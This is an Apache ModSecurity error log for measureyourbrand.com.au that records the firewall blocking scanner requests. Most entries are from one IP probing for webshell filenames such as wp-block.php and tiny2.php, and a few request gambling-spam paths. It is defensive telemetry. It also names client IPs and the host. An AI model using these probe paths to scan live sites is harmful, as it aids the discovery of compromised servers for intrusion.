[Mon Apr 20 19:50:30.916952 2026] [:error] [pid 11350:tid 11374] [client 20.251.55.245:15318] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeYTBv4EoMBgOJuJnT2SEwAAAA8"]
[Mon Apr 20 19:50:31.776368 2026] [:error] [pid 42014:tid 42025] [client 20.251.55.245:15368] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeYTB8ek-00-ZI0f1Np3HQAAAQk"]
[Mon Apr 20 19:50:32.551400 2026] [:error] [pid 42014:tid 42038] [client 20.251.55.245:15322] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeYTCMek-00-ZI0f1Np3IAAAARY"]
[Mon Apr 20 19:50:33.994425 2026] [:error] [pid 11351:tid 11387] [client 20.251.55.245:15170] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeYTCQN8Z1-vktaI_tPoBAAAAEA"]
[Mon Apr 20 19:50:44.550326 2026] [:error] [pid 11351:tid 11397] [client 20.251.55.245:15316] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeYTFAN8Z1-vktaI_tPoJQAAAEo"]
[Mon Apr 20 19:50:45.724411 2026] [:error] [pid 11494:tid 11507] [client 20.251.55.245:15261] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeYTFcgko5iFiE8YoyTQUAAAAYs"]
[Mon Apr 20 19:50:47.216243 2026] [:error] [pid 11350:tid 11379] [client 20.251.55.245:15421] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeYTF_4EoMBgOJuJnT2SQwAAABQ"]
[Mon Apr 20 19:50:48.486338 2026] [:error] [pid 11350:tid 11362] [client 20.251.55.245:15343] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeYTGP4EoMBgOJuJnT2SSAAAAAM"]
[Mon Apr 20 19:50:49.715152 2026] [:error] [pid 42014:tid 42038] [client 20.251.55.245:15234] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "aeYTGcek-00-ZI0f1Np3LwAAARY"]
[Mon Apr 20 19:50:50.742243 2026] [:error] [pid 11350:tid 11380] [client 20.251.55.245:15264] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "aeYTGv4EoMBgOJuJnT2STgAAABU"]
[Mon Apr 20 19:50:53.264438 2026] [:error] [pid 11350:tid 11373] [client 20.251.55.245:15336] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "aeYTHf4EoMBgOJuJnT2SVQAAAA4"]
[Mon Apr 20 19:50:56.336498 2026] [:error] [pid 6928:tid 6943] [client 20.251.55.245:15182] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "aeYTIB3y7MHq1iB0qYqiowAAAU0"]
[Mon Apr 20 19:50:58.571136 2026] [:error] [pid 11350:tid 11369] [client 20.251.55.245:15476] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeYTIv4EoMBgOJuJnT2SWgAAAAo"]
[Mon Apr 20 19:51:00.169816 2026] [:error] [pid 11441:tid 11455] [client 20.251.55.245:15240] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeYTJMixByFUvmh319COHwAAAMw"]
[Mon Apr 20 19:51:01.055994 2026] [:error] [pid 11441:tid 11446] [client 20.251.55.245:15333] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeYTJcixByFUvmh319COIwAAAMM"]
[Mon Apr 20 19:51:02.693577 2026] [:error] [pid 42014:tid 42018] [client 20.251.55.245:15232] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aeYTJsek-00-ZI0f1Np3NAAAAQI"]
[Mon Apr 20 19:51:03.591563 2026] [:error] [pid 11441:tid 11462] [client 20.251.55.245:15419] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeYTJ8ixByFUvmh319COKgAAANM"]
[Mon Apr 20 19:51:04.887284 2026] [:error] [pid 11494:tid 11519] [client 20.251.55.245:15457] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeYTKMgko5iFiE8YoyTQXAAAAZc"]
[Mon Apr 20 19:51:06.615932 2026] [:error] [pid 11494:tid 11510] [client 20.251.55.245:15295] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeYTKsgko5iFiE8YoyTQYAAAAY4"]
[Mon Apr 20 19:51:07.704822 2026] [:error] [pid 42014:tid 42033] [client 20.251.55.245:15180] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeYTK8ek-00-ZI0f1Np3RgAAARE"]
[Mon Apr 20 19:51:08.829338 2026] [:error] [pid 11494:tid 11497] [client 20.251.55.245:15329] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeYTLMgko5iFiE8YoyTQZAAAAYE"]
[Mon Apr 20 19:51:09.738215 2026] [:error] [pid 11350:tid 11359] [client 20.251.55.245:15327] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeYTLf4EoMBgOJuJnT2ScwAAAAA"]
[Mon Apr 20 19:51:10.474552 2026] [:error] [pid 11494:tid 11506] [client 20.251.55.245:15246] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeYTLsgko5iFiE8YoyTQaAAAAYo"]
[Mon Apr 20 19:51:11.090453 2026] [:error] [pid 11351:tid 11389] [client 20.251.55.245:15339] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeYTLwN8Z1-vktaI_tPoXwAAAEI"]
[Mon Apr 20 19:51:12.883967 2026] [:error] [pid 11351:tid 11406] [client 20.251.55.245:15487] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeYTMAN8Z1-vktaI_tPoZAAAAFM"]
[Mon Apr 20 19:51:15.969029 2026] [:error] [pid 11441:tid 11445] [client 20.251.55.245:15312] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeYTM8ixByFUvmh319COXQAAAMI"]
[Mon Apr 20 19:51:20.733979 2026] [:error] [pid 6928:tid 6952] [client 20.251.55.245:15175] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeYTOB3y7MHq1iB0qYqixgAAAVY"]
[Mon Apr 20 19:51:28.638025 2026] [:error] [pid 11350:tid 11360] [client 20.251.55.245:15375] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeYTQP4EoMBgOJuJnT2SiwAAAAE"]
[Mon Apr 20 19:51:33.416902 2026] [:error] [pid 6928:tid 6937] [client 20.251.55.245:15376] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeYTRR3y7MHq1iB0qYqizwAAAUc"]
[Mon Apr 20 19:51:35.550053 2026] [:error] [pid 11350:tid 11365] [client 20.251.55.245:15251] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeYTR_4EoMBgOJuJnT2SngAAAAY"]
[Mon Apr 20 19:51:38.253043 2026] [:error] [pid 11350:tid 11383] [client 20.251.55.245:15374] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeYTSv4EoMBgOJuJnT2SpwAAABg"]
[Mon Apr 20 19:51:40.719350 2026] [:error] [pid 11350:tid 11376] [client 20.251.55.245:15363] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeYTTP4EoMBgOJuJnT2SrQAAABE"]
[Mon Apr 20 19:51:43.002493 2026] [:error] [pid 11441:tid 11456] [client 20.251.55.245:15324] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeYTT8ixByFUvmh319COcwAAAM0"]
[Mon Apr 20 19:51:52.944982 2026] [:error] [pid 11494:tid 11512] [client 20.251.55.245:15249] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aeYTWMgko5iFiE8YoyTQogAAAZA"]
[Mon Apr 20 19:51:55.419877 2026] [:error] [pid 11350:tid 11363] [client 20.251.55.245:15472] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aeYTW_4EoMBgOJuJnT2THgAAAAQ"]
[Mon Apr 20 19:51:57.444578 2026] [:error] [pid 11351:tid 11391] [client 20.251.55.245:15315] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aeYTXQN8Z1-vktaI_tPo-AAAAEQ"]
[Mon Apr 20 19:51:58.041083 2026] [:error] [pid 11350:tid 11369] [client 20.251.55.245:15257] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aeYTXv4EoMBgOJuJnT2TJwAAAAo"]
[Mon Apr 20 19:51:59.385312 2026] [:error] [pid 11441:tid 11449] [client 20.251.55.245:15455] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeYTX8ixByFUvmh319COhwAAAMY"]
[Mon Apr 20 19:52:00.970856 2026] [:error] [pid 11350:tid 11381] [client 20.251.55.245:15477] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeYTYP4EoMBgOJuJnT2TLgAAABY"]
[Mon Apr 20 19:52:01.880624 2026] [:error] [pid 11350:tid 11372] [client 20.251.55.245:15408] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeYTYf4EoMBgOJuJnT2TMQAAAA0"]
[Mon Apr 20 19:52:02.908967 2026] [:error] [pid 11352:tid 11433] [client 20.251.55.245:15393] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeYTYml10mhMSfJ7ir_N6AAAAJM"]
[Mon Apr 20 19:52:03.548549 2026] [:error] [pid 11350:tid 11379] [client 20.251.55.245:15453] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeYTY_4EoMBgOJuJnT2TOAAAABQ"]
[Mon Apr 20 19:52:04.783696 2026] [:error] [pid 11350:tid 11378] [client 20.251.55.245:15347] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeYTZP4EoMBgOJuJnT2TPQAAABM"]
[Mon Apr 20 19:52:05.482410 2026] [:error] [pid 42014:tid 42037] [client 20.251.55.245:15361] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeYTZcek-00-ZI0f1Np3sgAAARU"]
[Mon Apr 20 19:52:06.153951 2026] [:error] [pid 11350:tid 11375] [client 20.251.55.245:15353] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeYTZv4EoMBgOJuJnT2TRAAAABA"]
[Mon Apr 20 21:03:11.694949 2026] [:error] [pid 11351:tid 11402] [client 223.15.245.170:51670] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeYkDwN8Z1-vktaI_tMDwQAAAE8"]
[Mon Apr 20 22:42:42.663755 2026] [:error] [pid 11350:tid 11372] [client 145.239.71.147:34184] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeY7Yv4EoMBgOJuJnT3dxgAAAA0"]
[Mon Apr 20 22:42:45.132975 2026] [:error] [pid 11352:tid 11418] [client 145.239.71.147:58742] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeY7ZWl10mhMSfJ7ir_kzwAAAIQ"]
[Mon Apr 20 22:42:48.203501 2026] [:error] [pid 11441:tid 11449] [client 145.239.71.147:49828] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeY7aMixByFUvmh319C06QAAAMY"]
[Mon Apr 20 22:42:51.679772 2026] [:error] [pid 11494:tid 11508] [client 145.239.71.147:49838] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeY7a8gko5iFiE8YoyT_AQAAAYw"]
[Mon Apr 20 22:42:54.194220 2026] [:error] [pid 11351:tid 11393] [client 145.239.71.147:49852] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeY7bgN8Z1-vktaI_tMxkgAAAEY"]
[Mon Apr 20 22:42:56.871720 2026] [:error] [pid 11441:tid 11456] [client 145.239.71.147:49860] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeY7cMixByFUvmh319C08QAAAM0"]
[Mon Apr 20 22:42:59.211628 2026] [:error] [pid 11351:tid 11392] [client 145.239.71.147:35812] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeY7cwN8Z1-vktaI_tMxpQAAAEU"]
[Mon Apr 20 22:43:02.040333 2026] [:error] [pid 6928:tid 6950] [client 145.239.71.147:35828] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeY7dh3y7MHq1iB0qYrFPAAAAVQ"]
[Mon Apr 20 22:43:06.445764 2026] [:error] [pid 11351:tid 11400] [client 145.239.71.147:35842] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeY7egN8Z1-vktaI_tMxuAAAAE0"]
